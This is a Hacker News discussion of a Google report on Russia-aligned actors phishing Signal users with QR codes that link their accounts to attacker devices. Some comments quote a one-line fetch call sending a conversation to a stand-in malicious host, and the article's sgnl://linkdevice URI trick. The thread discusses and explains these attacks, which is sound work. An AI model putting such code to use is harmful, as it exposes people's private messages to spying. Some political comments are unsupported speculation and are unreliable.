Multiple Russia-aligned threat actors actively targeting Signal Messenger

https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger

by karel-3d • 1 year ago

836 214 1 year ago

cloud.google.com

karel-3d• 1 year ago

tldr: they mostly use phishing with fake ukrainian army group invites to trick people (from ukrainian army) to link the phone device to a attacker-controlled PC.

Also they try to get the actual database SQL files from Windows devices and Android devices.

anotherhue• 1 year ago

You can check for unexpected linked devices in the settings menu.

jzb2• 1 year ago

I wonder if Signal should expose linked devices directly in the UI at all times. Something like a small icon that indicates "You have 3 linked devices active" or similar.

XorNot4• 1 year ago

I think the trouble is information overload is a bit of a thing in this case. It's information that is 99% of the time useless, except the one time it isn't. But also, to an informed user is much less of a threat - the threat is anyone you interact with getting compromised.

EDIT: Like an analytics based approach would probably be far more useful - popping up a confirmation for example if GeoIP shows a device is far removed from all the others, which for most people would be true unless they were traveling.

inor0gu16• 1 year ago

Would probably lead to notification fatigue.

Showing a big snackbar when a new device is added is probably enough, especially if the app can detect there was no "action" on your phone that triggered it.

Key transparency, once rolled out, would help to ensure there is no lingering "bad" device around, but phishing will always be a problem.

seb12042• 1 year ago

Great idea, I'll send you a QR code...

dang2• 1 year ago

(via https://news.ycombinator.com/item?id=43103692, but no comments there)

advisedwang• 1 year ago

Kind of a good sign for signal's security that this is the best Russia has got!

yellowapple• 1 year ago

Yeah, this just gave me the last nudge I needed to give Signal a go.

saagarjha2• 1 year ago

I wouldn’t assume that but I also wouldn’t recommend against using Signal.

aembleton4• 1 year ago

That we know of

ge96• 1 year ago

that's nice they provided a list of bad domains

untech• 1 year ago

It is not plainly stated in the article, but as far as I understand, the first step of one of the attacks is to take the smartphone off a dead soldier’s body.

mmooss8• 1 year ago

Is this serious?

It raises questions about smartphones being standard equipment for soldiers, but they do give every soldier an effective, powerful computing and communication platform (that they know without additional training).

The question is how to secure them, including against the risk described in the parent. That seems like a high risk to me I would expect someone is working on how to secure them enough that even Russian intelligence doesn't have an effective exploit.

The solutions may apply well to civilian privacy too, if they ever become more widespread. It wouldn't be the worst idea to secure Ukrainian civilian phones against Russian attackers.

newsclues2• 1 year ago

Phones aren’t secure but are more secure than the standard radios most have access to.

Encrypted milspec comms aren’t the standard in a massive war.

It’s weird but discord, signal and some mapping apps on smartphones are how this war is being fought.

hnlmorg• 1 year ago

I seem to recall uploaded selfies being a frequent source of problems. For example: https://www.rferl.org/a/trench-selfies-tracking-russia-milit...

XorNot4• 1 year ago

A radio on a soldier is already a dangerous communications device - with a radio you can call in artillery strikes, for example.

There's no particular need IMO to secure smartphones on the battlefield in anyway beyond standard counter-measures - i.e. encrypt the storage, use a passcode unlock.

forkerenok• 1 year ago

The article says they phish people into linking adversarial devices to their Signal:

[...] threat actors have resorted to crafting malicious QR codes that, when scanned, will link a victim's account to an actor-controlled Signal instance. If successful, future messages will be delivered synchronously to both the victim and the threat actor in real-time, [...]

Austiiiiii• 1 year ago

There's a new feature to sync old messages that seems like it could potentially make that attack vector ten times worse:

https://www.bleepingcomputer.com/news/security/signal-will-l...

Would a malicious URL be able to activate this feature as part of the request?

andreygrehov4• 1 year ago

Soldiers are not allowed to carry a cell phone.

danesparza• 1 year ago

Clearly, some folks didn't get the memo.

https://www.cbc.ca/news/world/russia-troops-cellphone-ukrain...

casenmgreen• 1 year ago

Can't view the article, as I am an evil Tor user.

marc_abonce• 1 year ago

Me too, but I was able to access the article through the Internet Archive:

https://web.archive.org/web/20250219202428/https://cloud.goo...

lenerdenator• 1 year ago

I'd love to have more of my socializing happening on Signal. Anyone got a good way to convince the non-paranoid to use it?

OsrsNeedsf2P• 1 year ago

"Sorry, I only use Signal" has worked nearly a decade for me

bdangubic• 1 year ago

same

golergka2• 1 year ago

What if you need to contact someone and they use whatsapp?

echelon_musk• 1 year ago

Virtue Signalling!

tapoxi• 1 year ago

My (non-technical) Mom actually got my whole extended family on Signal with a group link. Since there's no real account creation it was painless. It's how we do all video calls/photo sharing/chat now.

Mistletoe3• 1 year ago

Just explain what end to end encryption means. People are starting to get it and don’t want companies able to read their messages.

mikedelfino• 1 year ago

Isn’t WhatsApp end-to-end encrypted?

baq3• 1 year ago

Nobody cares about this unless they deal drugs or something.

What some people care about is not giving all their private conversations to masculine energy zuck - but don't expect any major wins.

subjectsigma• 1 year ago

My Signal experience: ex gf in college asks what app I’m using to text. Tell her it’s Signal, E2EE, messages are only stored on her phone and nobody else can read them. She says cool and downloads the app. Four months later her phone breaks.

“Hey subjectsigma I got my new phone today. Where are all my messages?”

“… Do you have your old phone? That’s the only place they are.”

“No? Last time I got a new phone WhatsApp moved my messages over, and WA is E2EE so I thought it worked the same way.”

“Nope if you don’t have a backup or your old phone they’re gone. Sorry.”

“This is bullshit. Why does anyone use Signal. I can’t believe it deleted all my messages. I’m uninstalling it. Etc etc.”

We have a long way to go, my friend.

miggol• 1 year ago

Group stories are great fun and a feature I seriously miss on Whatsapp. They work well from meme chats to family groups.

There being a killer feature that Whatsapp users are missing out on won't convince everyone but it sure makes me feel less like a nerd when encouraging the switch to Signal.

I find it quite funny that such an obvious feature likely hasn't been added to Whatsapp yet because Meta thinks Instagram is for stories. That's pure speculation on my part though

mmooss8• 1 year ago

I helped an especially non-technical user install Signal and they didn't need my help at all. They were using it in a minute - download from the app store, transcribe a code from a text message, and you're in - and it worked just like legacy text and phone.

I'd tell them that - just download it and you'll be texting me in a minute, and now nobody is tracking everyone you talk to.

imglorp• 1 year ago

To be clear, someone will/can track WHO you talk to. Right?

lcc• 1 year ago

I've had good luck just asking for it, even with group chats (though admittedly my friends are mostly technical and more privacy conscious than the average person). Usually it's a switch from FB Messenger and I just say that I don't want to be locked into Facebook anymore.

rakoo• 1 year ago

Take time with the people to do the boring stuff on their phone/computer:

- install [the thing]

- start it, show how it works

- search for yourself, start a convo, exchange messages

- add them to the group

IME the friction comes from having to do the first step, because it's really an annoyance no one cares about, so if you take it for yourself and do it they'll like that

MillironX• 1 year ago

I usually tell people, "It's like iMessage, but it works on iPhone and Android," or "Hey, if you download Signal we can send high-quality photos between Android and iPhone."

jaza• 1 year ago

I've still got Signal installed, but never use it, I only ever ended up chatting on it with a few ex-colleagues, who were fellow devs / nerds.

I have so many WhatsApp group chats (here in Australia) that are critical for me these days, and that I don't control, and that have way too many people, and way too diverse a range of people, for me to have any hope whatsoever of migrating them all to Signal. School parents group chats (one for each class that my kids are in). Strata (aka Home Owners Association) committee group chat. Scouts group chat. Various friends groups chats. Boycotting WhatsApp is not an option for me, it would literally make me unable to function in a number of my day-to-day responsibilities.

p2detar• 1 year ago

Last week it was Microsoft, now Signal, who’s next?

https://www.microsoft.com/en-us/security/blog/2025/02/13/sto...

snailmailstare• 1 year ago

I hate to break it to you, but threat actors aligned with any major state are targeting everything with an Internet presence all of the time.

8bithero• 1 year ago

So a few days ago Elon Musk blocked all links to Signal from the X platform and now this... Could be a coincidence but the timing sure is sus.

rpastuszak• 1 year ago

I'm not going to psychoanalyse the brain parasite, but I imagine that the reason to do it could be as petty as shadow banning people with Fediverse (e.g. mastodon) handles in their bios shortly after he took over.

Also:

Signal has been a primary method of communication for federal workers looking to blow the whistle on DOGE. from https://www.disruptionist.com/p/elon-musks-x-blocks-links-to...

Btw, I don't live in the US but I sketched a simple tool to prevent X from censoring Signal.me links: https://link-in-a-box.vercel.app

master-lincoln• 1 year ago

Only signal.me links were blocked as far as I understood. Other signal links kept working. (I have no first hand knowledge as I left Twitter when the owner changed)

willy_k2• 1 year ago

Not really, the domain block was reportedly due to increased spam activity from that domain and performed automatically, so it would follow that a write up would come a few days later. That is if they are related, which is not a given.

immibis2• 1 year ago

Musk calls everything he doesn't like "spam", so of course it was.

inor0gu16• 1 year ago

Unrelated most likely, signal.me is a legitimate domain used by Signal. Doubt twitter is so on top of Threat Analysis when they fumbled their own redirects from twitter.com to x.com for a while.

mrtesthah• 1 year ago

So a few days ago Elon Musk blocked all links to Signal from the X platform and now this... Could be a coincidence but the timing sure is sus.

Not surprising considering Russian Oligarchs enabled Musk's takeover of Twitter:

https://www.dw.com/en/what-do-xs-alleged-ties-to-russian-oli...

vetrom2• 1 year ago

Signal (and basically any app) with a linked devices workflow has been risky for awhile now. I touched on this last year (https://news.ycombinator.com/context?id=40303736) when Telegram was trash talking Signal -- and its implementation of linked devices has been problematic for a long time: https://eprint.iacr.org/2021/626.pdf.

I'm only surprised it took this long for an in-the-wild attack to appear in open literature.

It certainly doesn't help that signal themselves have discounted this attack (quoted from the iacr eprint paper):

    "We disclosed our findings to the Signal organization on October 20, 2020, and received an answer on October 28, 2020. In summary, they state that they do not treat a compromise of long-term secrets as part of their adversarial model"

diputsmonro• 1 year ago

If I'm reading that right, the attack assumes the attacker has (among other things) a private key (IK) stored only on the user's device, and the user's password.

Thus, engaging on this attack would seem to require hardware access to one of the victims' devices (or some other backdoor), in which case you've already lost.

Correct me if I'm wrong, but that doesn't seem particularly dangerous to me? As always, security of your physical hardware (and not falling for phishing attacks) is paramount.

josh26002• 1 year ago

This is my read as well. Just double clicking here.

vetrom2• 1 year ago

No, it means that if you approve a device to link, and you later have reason to unlink the device, you can't establish absolutely that the unlinked device can no longer access messages, or decrypt messages involving an account, breaking the forward-secrecy guarantees.

That leaves you with the only remedy for a signal account that has accepted a link to a 'bad device' being to burn the whole account. (maybe rotating safety numbers/keys would be sufficient, i am uncertain there) -- If you can prove the malicious link was only a link, then yeah, the attack i described is incomplete, but the issues in general with linked devices and remedies described are the important bits, I think.

reactordev2• 1 year ago

“Just install this chrome browser extension” is all it takes now. Hell, you can even access cookies and previously visited sites from within the browser. All it takes is some funky ad, or chrome extension, or some llama-powered toolbar to gain access to be able to do exactly that.

Background services on devices has been a thing for a while too. Install an app (which you grant all permissions to when asked) and bam, a self-restarting daemon service tracking your location, search history, photos, contacts, notes, email, etc

vlovich1233• 1 year ago

It sounds like all that's needed is a device that had been linked in the past. Unlinking doesn't have the security requirements you'd think it would and there's a phishing attack to make scanning a QR code trigger a device link (which seems really really bad if the user doesn't even have to take much action)

inor0gu16• 1 year ago

The attack in that paper assumes you have compromised the user's long term private identity key (IK) which is used to derive all the other keys in the signal protocol.

Outside of lab settings, the only way to do that is: - (1) you get root access to the user's device - (2) you compromise a recent chat backup

The campaign Google found is akin to phishing, so not as problematic on a technical level. How do you warn someone they might be doing something dangerous in an entire can of worms in Usable Security... but it's gonna become even more relevant for Signal once adding a new linked device will also copy your message history (and last 45 days of attachments).

tomrod• 1 year ago

If one doesn't use the linked device feature, does that impact this threat surface?

inor0gu16• 1 year ago

About the paper: if someone has gotten access to your identity (private) key, you are compromised, either with their attack (adding a linked device) or just getting MitM'ed and all messages decrypted. The attacker won.

The attack presented by Google is just classical phishing. In this case, if linked devices are disabled or don't exist, sure, you're safe. But if the underlying attack has a different premise (for example, "You need to update to this Signal apk here"), it could still work.

1970-01-01• 1 year ago

The good news is the target is targeted for a reason: it's still effective.

lovegrenoble• 1 year ago

Highly likely...

andreygrehov4• 1 year ago

They provided some domains, but not all of them are taken. For example, signal-protect[.]host is available, kropyva[.]site is available, signal-confirm[.]site is registered in Ukraine. Some of them are registered in Russia.

Never trust a country at war—any side. Party A blames B, Party B blames A, but both have their own agenda.

nightpool• 1 year ago

An unregistered domain can still be an IoC especially when found through e.g. payload analysis.

dtquad• 1 year ago

signal-confirm[.]site is registered in Ukraine

The WHOIS is usually fake made up data so don't know why you are using that to claim it's registered in Ukraine. Russia is also known to use stolen credentials, SIM cards etc. from their neighbouring countries, including Ukraine, for things like this.

andreygrehov4• 1 year ago

Then why should I trust the article at all? If WHOIS data is fake and stolen credentials are common (which I don't disagree with), I could register a domain, put your name on it, and make it look like you're behind the phishing. Would that make it true? After all, in war, deception is a legitimate tactic.

XorNot4• 1 year ago

[flagged]

dang2• 1 year ago

Could you please stop posting in the flamewar style? We've had to ask you this many times already.

https://news.ycombinator.com/newsguidelines.html

WesolyKubeczek• 1 year ago

I believe you are making a mistake by thinking that since a malicious actor's domain is registered in Ukraine, it automatically must be doing something in the interests of Ukraine, or at least be known to its officials.

Lots of Russian state actors have no problems working from within Ukraine, alas. Add to this purely chaotic criminal actors who will go with the highest bidder, territories temporarily controlled by Russians that have people shuttle to Ukraine and back daily, and it becomes complicated very quickly.

andreygrehov4• 1 year ago

Fair point. Just because a domain is registered in Ukraine doesn't mean it's acting in Ukraine's interests. But that works both ways. If Russian actors can operate from Ukraine, then Ukrainian actors (or others) can also operate from Russia, or at least make it look that way. Cyber attacks originating from Ukraine and targeting Russia aren't uncommon either, which only adds to the complexity of attribution.

The issue isn't just attribution but also affiliation. When similar attacks come from Ukraine targeting Russia, Google stays quiet. I understand that Russia invaded Ukraine, not the other way around, but given the complexity of the conflict, aligning with one side in cyber warfare reporting is a questionable move. At the end of the day, attacks will come from both sides - it's a war, after all.

Edit: when I say 'questionable move', I'm specifically referring to Google. It's unclear what they were trying to achieve with this article, is it a political statement or just a marketing piece showcasing how good GTIG is? Or both?

Terr_• 1 year ago

Lots of Russian state actors have no problems working from within Ukraine, alas.

Ex: Viktor Yanukovych, prior to being ousted.

TheSpiceIsLife• 1 year ago

Oceania had always been at war with Eastasia.

whatever1• 1 year ago

Impossible these are our newly minted allies

balozi• 1 year ago

New allies, same as the old allies.

imp0cat2• 1 year ago

Ok I laughed! :) But it's crazy if you think about it, isn't it?

4ndrewl• 1 year ago

"Russia-aligned threat actors" has a whole new meaning this last week.

josefresco• 1 year ago

Indeed. It now potentially includes a very long list of Americans.

user39393822• 1 year ago

What does that mean?

davidw• 1 year ago

I wonder if someone in the US will declare that, actually, Signal is actively targeting the Russia-aligned threat actors.

morkalork• 1 year ago

Or that Signal shouldn't have started it in the first place

adultSwim• 1 year ago

Is this why twitter has been blocking signal.me links? https://news.ycombinator.com/item?id=43076710

inor0gu16• 1 year ago

Unrelated most likely, signal.me is a legitimate domain used by Signal. Doubt twitter is so on top of Threat Analysis when they fumbled their own redirects from twitter.com to x.com for a while.

chinathrow3• 1 year ago

Russia fucking up the worlds stuff this decade will be the material for history books. The are actively breaking Europe and almost noone seems to care.

amelius• 1 year ago

Second will be how the internet with social media like twitter/x destroyed our democracy.

FpUser• 1 year ago

If Europe is what it claims to be: an enlightened democracy with progressive intelligent populace it can not be broken by demented crap messages from twitter.

If however it is fucked up and on a brink of collapse then sure. Little nudge can steer it into "right" direction. but then who is guilty in a first place.

chinathrow3• 1 year ago

You should read up on how russian money buys influenve, eg. In Moldavia.

nomat• 1 year ago

the idea that propaganda doesn't work is certainly an interesting one.

josh26002• 1 year ago

There are many voices which try to tell you that signal is compromised. Notice that all of those voices have less open-source-ness than Signal in virtually all cases.

Signal is doing its best to be a web scale company and also defend human rights. Individual dignity matters.

This is not a simple conversation.

mmooss8• 1 year ago

Also, it's a tricky environment of disinformation generally, and in particular for anything valuable like Signal. If Signal is secure, attackers on privacy would want people to believe Signal is compromised and to use something else. If it's not, then they would want people to believe Signal is secure.

I think the solution is to completely ignore any potential disinfo source, especially random people on social media (including HN). It's hard to do when that's where the social center is - you have to exclude yourself. Restrict yourself to legitimate, trusted voices.

inor0gu16• 1 year ago

I would also read it from another perspective. Attackers, especially at the level of nation states, will always try to get as many avenues for achieving their goals as possible.

If you have compromised a service, it would be in your interest to make it more popular (assuming you think you are the only one in possession of it).

If you cannot, you don't give up; you just go back to the drawing board (https://xkcd.com/538/). Maybe I don't need to break Signal if I can just rely on phishing or scare tactics to get what I want.

moffkalast• 1 year ago

web scale

I didn't realize anyone still used that term with a straight face.

"MongoDB is web scale, you turn it on and it scales right up."

20after4• 1 year ago

I've struggled occasionally with trying to describe a similar concept without using that tainted term.

sunshine-o• 1 year ago

There are many voices which try to tell you that signal is compromised.

But compromised by whom? Russian, US Intelligence? I am really confused.

I just looked quickly on on the Signal Foundation website and the board members, I read things like:

Maher is a term member of the Council on Foreign Relations, a World Economic Forum Young Global Leader, and a security fellow at the Truman National Security Project.
She is an appointed member of the U.S. Department of State's Foreign Affairs Policy Board
She received her Bachelor's degree in Middle Eastern and Islamic Studies in 2005 from New York University's College of Arts and Science, after studying at the Arabic Language Institute of the American University in Cairo, Egypt, and Institut français d'études arabes de Damas (L'IFEAD) in Damascus, Syria.

Those type of people sound part of the intelligence world to me. What exactly are they doing on the board of Signal (an open source messaging app)?

This is not a simple conversation.

I agree

SXX• 1 year ago

And Telegram specifically bad here. Using custom crypto on custom protocol and dont have any E2EE by default whatsoever storing everything on server in plain text.

evilfred• 1 year ago

"Russia-aligned threat"... so... the US?

BrenBarn4• 1 year ago

Is this suggesting that a single QR scan can on its own perform the device linking? If so, it seems like that's kind of the hole here, right? Like you shouldn't be able to scan a code that on its own links the device; you should have to manually confirm with like "Yes I want to link to this device". And then if you thought you were scanning a group invite code you'd realize you weren't. (Yeah, you'd still have to realize that, but I think it's a meaningful step up over just "you scanned a code to join a group and instead it silently linked a different device".)

mmooss8• 1 year ago

you should have to manually confirm with like "Yes I want to link to this device". And then if you thought you were scanning a group invite code you'd realize you weren't. (Yeah, you'd still have to realize that, but I think it's a meaningful step up over just "you scanned a code to join a group and instead it silently linked a different device".)

Remember that Signal is designed for non-technical users. Many/most do not understand QR codes, links, linking, etc, and they do not think much about it. They take an immediate, instinctive guess and click on something - often to get it off the screen so they can go back to what they were doing.

Do you have reason to think there is not confirmation? Maybe Signal's documentation will tell you.

KennyBlanken• 1 year ago

Maybe Signal's documentation will tell you.

Not the person you replied to, but I just tried googling half a dozen different terms and got results that have nothing to do with Signal.

Remember that Signal is designed for non-technical users.

That does not prevent them from putting up a warning message that says "You just scanned a code which will allow another device to read all future messages sent to you, and send messages from your identity. Are you sure you want to do that? And the button says "link devices", not "yes" or "no."

I think the frustration here is that Signal petulantly and paternalistically refuses to allow you to fully sync to another device (and for years refused to even allow you to back up messages) because supposedly we can't be trusted with such a thing...but then they leave the QR code system so idiotically designed it's apparently trivial to phish people into linking their devices to malicious actors?

Why the fuck does scanning a QR code, without having first selected "link device", even open that dialog? Or require a PIN code they obsessively force us to re-enter all the time?

It's obviously ripe for abuse.

We admonish people for piping a remote document into their shell but a QR code that links devices with one click is OK?

BrenBarn4• 1 year ago

Do you have reason to think there is not confirmation?

The reason is just that in the article it says:

threat actors have resorted to crafting malicious QR codes that, when scanned, will link a victim's account to an actor-controlled Signal instance

That phrasing suggests to me that the scanning of the QR code, on its own, performs the linking. That may not be the case, but if so I'd say the wording is misleading or at least imprecise.

Yeul• 1 year ago

Honestly don't use Signal for privacy or anonymity. I switched to it because it is not owned by a sycophant of Trump.

Oh how Americans make fun of the CCP but watching all the tech bros bend the knee was embarrassing.

paganel3• 1 year ago

Alphabet is working in tandem with the Ukrainian SBU? Interesting choice, just as the US President has called Zelensky a dictator (and for good reason, Poroshenko, the previous Ukrainian president, has basically said the same thing a few days ago). I wonder how long the Alphabet higher-ups will allow this thing to unfold, or maybe they're not so good at reading the geopolitical tea leaves.

BLKNSLVR• 1 year ago

US President has called Zelensky a dictator (and for good reason, Poroshenko, the previous Ukrainian president, has basically said the same thing a few days ago)

You can't be serious that you consider that to be a good enough reasoning.

Zelensky's support / approval rating is well over 50% (according to polls). Zelensky defeated Poroshenko, getting 73% of the vote in the 2019 election.

paganel3• 1 year ago

Zelensky defeated Poroshenko

And yet he still felt the need to start politically repressing Poroshenko with sanctions and branding him a traitor, that's the mark of having a dictator in command of things.

def_true_false• 1 year ago

Why are you repeating Kremlin's talking points?

Using the exact same reasoning, Churchill would be a dictator, too.

int_19h3• 1 year ago

They're calling Zelensky a dictator because his term was originally scheduled to end in 2024 unless re-elected, and there were no elections since the beginning of the war.

The problem with this assertion is that Ukraine has "no elections under martial law" written into the law. Zelensky himself actually wanted to do some kind of election to reinforce his mandate while his support was still very high, but there was serious concern from the liberals about those plans on the basis that any election held under martial law, with large numbers of people mobilized to fight, 20% of the country occupied, and many millions of refugees unable to vote, would hardly be free and fair. Their pushback scuttled any plans for the parliament to amend said law.

parhamn4• 1 year ago

One thing I'm realizing more and more (I've been building an encrypted AI chat service which is powered by encrypted CRDTs) is that "E2E encryption" really requires the client to be built and verified by the end user. I mean end of the day you can put a one-line fetch/analytics-tracker/etc on the rendering side and everything your protocol claimed to do becomes useless. That even goes further to the OS that the rendering is done on.

The last bit adds an interesting facet, even if you manage to open source the client and manage to make it verifiably buildable by the user, you still need to distribute it on the iOS store. Anything can happen in the publish process. I use iOS as the example because its particularly tricky to load your own build of an application.

And then if you did that, you still need to do it all on the other side of the chat too, assuming its a multi party chat.

You can have every cute protocol known to man, best encryption algorithms on the wire, etc but end of the day its all trust.

I mention this because these days I worry more that using something like signal actually makes you a target for snooping under the false guise that you are in a totally secure environment. If I were a government agency with intent to snoop I'd focus my resources on Signal users, they have the most to hide.

Sometimes it all feels pointless (besides encrypted storage).

I also feel weird that the bulk of the discussion is on hypothetical validity of a security protocol usually focused on the maths, when all of that can be subverted with a fetch("https://malvevolentactor.com", {body: JSON.stringify(convo)}) at the rendering layer. Anyone have any thoughts on this?

inor0gu16• 1 year ago

You will always have to root your trust in something, assuming you cannot control the entire pipeline from the sand that becomes the CPU silicone, through the OS and all the way to how packets are forwarded from you to the person on the other end.

This makes that entire goal moot; eliminating trust thus seems impossible, you're just shifting around the things you're willing to trust, or hide them behind an abstraction.

I think what will become more important is to have enough mechanisms to be able to categorically prove if an entity you trust to a certain extent is acting maliciously, and hold them accountable. If economic incentives are not enough to trust a "big guy", what remains is to give all the "little guys" a good enough loudspeaker to point distrust.

A few examples: - certificate transparency logs so your traffic is not MitM'ed - reproducible builds so the binary you get matches the public open source code you expect it does (regardless of its quality) - key transparency, so when you chat with someone on WhatsApp/Signal/iMessage you actually get the public keys you expect and not the NSA's

parhamn4• 1 year ago

This makes that entire goal moot

I agree. Perhaps it's why I find the discussions like nonce-lengths and randomness sources almost insane (in the sense of willfully missing the forrest from the trees). Intelligence agencies have managed to penetrate the most secretive and powerful organizations known to man. Why would one think Signal's supply chain is impervious? I'd assume the opposite.

SheinhardtWigCo• 1 year ago

It’s primarily to guard against insider threats - E2E makes it very hard for one Signal employee to obtain everyone’s chat transcripts.

Anyone whose threat model includes well-resourced actors (like governments) should indeed be building their communications software from source in a trustworthy build environment. But then of course you still have to trust the hardware.

tl;dr: E2E prevents some types of attacks, and makes some others more expensive; but if a government is after you, you’re still toast.

parhamn4• 1 year ago

tl;dr: E2E prevents some types of attacks, and makes some others more expensive; but if a government is after you, you’re still toast.

This is sorta my point, lots of DC folks use Signal under the assumption they're protected from government snooping. Sometimes I feel like it could well have the opposite effect (via the selection bias of Signal users).

redleader55• 1 year ago

I think that part of what you are talking about is sometimes called "attestation". Basically a signature, with a root that you trust that confirms beyond doubt the provenience of the entity (phone + os + app) that you interact with.

Android has that and can confirm to a third party if the phone is running for example a locked bootloader with a Google signature and a Google OS. It's technically possible to have a different chain of trust and get remote parties to accept a Google phone + a Lineage OS(an example) "original" software.

The last part is the app. You could in theory attest the signature on the app, which the OS has access to and could provide to the remote party if needed.

A fully transparent attested artifact, which doesn't involve blind trust in a entity like Google, would use a ledger with hashes and binaries of the components being attested, instead of root of trust of signatures.

All of the above are technically possible, but not implemented today in such a way to make this feasible. I'm confident that with enough interest this will be eventually implemented.

lmm• 1 year ago

Sometimes it all feels pointless

Building anything that's meant to be properly secure - secure enough that you worry about the distinction between E2E encryption and client-server encryption - on top of iOS and Google Play Services is IMO pretty pointless yes. People who care about their security to that extent will put in the effort to use something other than an iPhone. (The way that Signal promoters call people who use cryptosystems they don't like LARPers is classic projection; there's no real threat model for which Signal actually makes sense, except maybe if you work for the US government).

I also feel weird that the bulk of the discussion is on hypothetical validity of a security protocol usually focused on the maths, when all of that can be subverted with a fetch("https://malvevolentactor.com", {body: JSON.stringify(convo)}) at the rendering layer. Anyone have any thoughts on this?

There's definitely a streetlight effect where academic cryptography researchers focus on the mathematical algorithms. Nowadays the circle of what you can get funding to do security research on is a little wider (toy models of the end to end messaging protocol, essentially) but still not enough to encompass the full human-to-human part that actually matters.

edgineer• 1 year ago

I'll feel pessimistic like this, but then something like Tinfoil Chat [0] comes along and sparks my interest again. It's still all just theoretical to me, but at least I don't feel so bad about things.

With a little bit of hardware you could get a lot of assurance back: "Optical repeater inside the optocouplers of the data diode enforce direction of data transmission with the fundamental laws of physics."

[0] https://github.com/maqp/tfc

BrenBarn4• 1 year ago

I agree with you that the cart seems to be moving ahead of the horse, in that there is an increasing fixation on the theoretical status of the encryption scheme rather than the practical risk of various outcomes. An important facet of this is that systems that attempt to be too secure will prevent users from reading their own messages and hence will induce those users to use "less secure" systems. (This has been a problem on Matrix, where clients have often not clearly communicated to users that logging out can result in permanently missed messages.)

There's a part of me that wonders whether some of the more hardcore desiderata like perfect forward secrecy are, in practical terms, incompatible with what users want from messaging. What users want is "I can see all of my own messages whenever I want to and no one else can ever see any of them." This is very hard to achieve. There is a fundamental tension between "security" and things like password resets or "lost my phone" recovery.

I think if people fully understood the full range of possible outcomes, a fair number wouldn't actually want the strongest E2EE protection. Rather, what they want are promises on a different plane, such as ironclad legal guarantees (an extreme example being something like "if someone else looks at my messages they will go to jail for life"). People who want the highest level of technical security may have different priorities, but designing the systems for those priorities risks a backlash from users who aren't willing to accept those tradeoffs.

Cyphase• 1 year ago

At a casual glance, any E2EE system can be reduced to your ironclad legally guaranteed (ILG) system by having the platform keep a copy of the key(s), for instance. So it doesn't have to be a one-or-the-other choice.

solarkraft• 1 year ago

"E2E encryption" really requires the client to be built and verified by the end user

We probably agree that this is infeasible for the vast majority of people.

Luckily reproducible builds somewhat sidestep this in a more practical way.

aembleton4• 1 year ago

"E2E encryption" really requires the client to be built and verified by the end user

But the OS might be compromised with a screen recorder or a keylogger. You'd need the full client, OS and hardware to be built by the end user. But then the client that they're sending to might be compromised... Or even that person might be compromised.

At the end of the day you have to put your trust somewhere, otherwise you can never communicate.

MediumOwl• 1 year ago

I also feel weird that the bulk of the discussion is on hypothetical validity of a security protocol usually focused on the maths, when all of that can be subverted with a fetch("https://malvevolentactor.com", {body: JSON.stringify(convo)}) at the rendering layer. Anyone have any thoughts on this?

I think your comment in general, and this part in particular, forgets what was the state of telecommunications 10-15 years ago. Nothing was encrypted. Doing anything on a public wifi was playing russian roulette, and signal intelligence agencies were having the time of their lives.

The issues you are highlighting _are_ present, of course; they were just of a lower priority than network encryption.

aussieguy1234• 1 year ago

Phone verification is a common method used here.

If somehow, the victims phone provider can be compromised or coerced into cooperating, the government actor can intercept the text message Signal and others use for verification and set up the victims account on a new device.

It's very easily done if the victim is located in an authoritarian county like Russia or Iran, they can simply force the local phone provider to co-operate.

inor0gu16• 1 year ago

government actor can intercept the text message Signal and others use for verification and set up the victims account on a new device

Yes, but if they only control the phone number, you they will register a new account (different cryptographic keys) for you, which is why everyone previously chatting with you will get that "Your Safety Number with Bob changed" message.

lifeinthevoid• 1 year ago

They should add an option to not allow linking additional devices, if that’s feasible.

aembleton4• 1 year ago

In each of the fake group invites, JavaScript code that typically redirects the user to join a Signal group has been replaced by a malicious block containing the Uniform Resource Identifier (URI) used by Signal to link a new device to Signal (i.e., "sgnl://linkdevice?uuid="), tricking victims into linking their Signal accounts to a device controlled by UNC5792.

Missing from their recommendations: Install No Script: https://noscript.net/

cassepipe2• 1 year ago

No Script is a browser extension. Signal is an Android/Ios/Electron app so no

aembleton4• 1 year ago

In each of the fake group invites, JavaScript code that typically redirects the user to join a Signal group has been replaced by a malicious block containing the Uniform Resource Identifier (URI) used by Signal to link a new device to Signal (i.e., "sgnl://linkdevice?uuid="), tricking victims into linking their Signal accounts to a device controlled by UNC5792.

Source: https://cloud.google.com/blog/topics/threat-intelligence/rus...

gck1• 1 year ago

Android supports alphanumeric passwords, which offer significantly more security than numeric-only PINs or patterns.

Ironic, coming from Google. As Android is THE only OS where usage of alphanumeric passwords is nearly impossible, as Android limits the length of a password to arbitrary 16 characters, preventing usage of passphrases.

sharpshadow• 1 year ago

“Russia's re-invasion of Ukraine”

Reading this for the first time, what is a “re-invasion”? Do they mean the explained cyber attack as second invasion aka “re-invasion”?

cassepipe2• 1 year ago

Invasion of Crimea 2014

Re-invasion in February 2022

Shorel• 1 year ago

Signal should be doing something well.

JohnnyLarue• 1 year ago

State-aligned, huh? This is the US State Department talking point equivalent of a movie poster that brags, "From the studio that brought you..."

mppm• 1 year ago

Am I reading this right? You can initiate device linking in Signal by clicking on an external URL? This is so stupid, I don't even have words for this. In a security-focused app you should not be able to link anything, without manually going into the devices/link menu and clicking "link new device".

Multiple Russia-aligned threat actors actively targeting Signal Messenger

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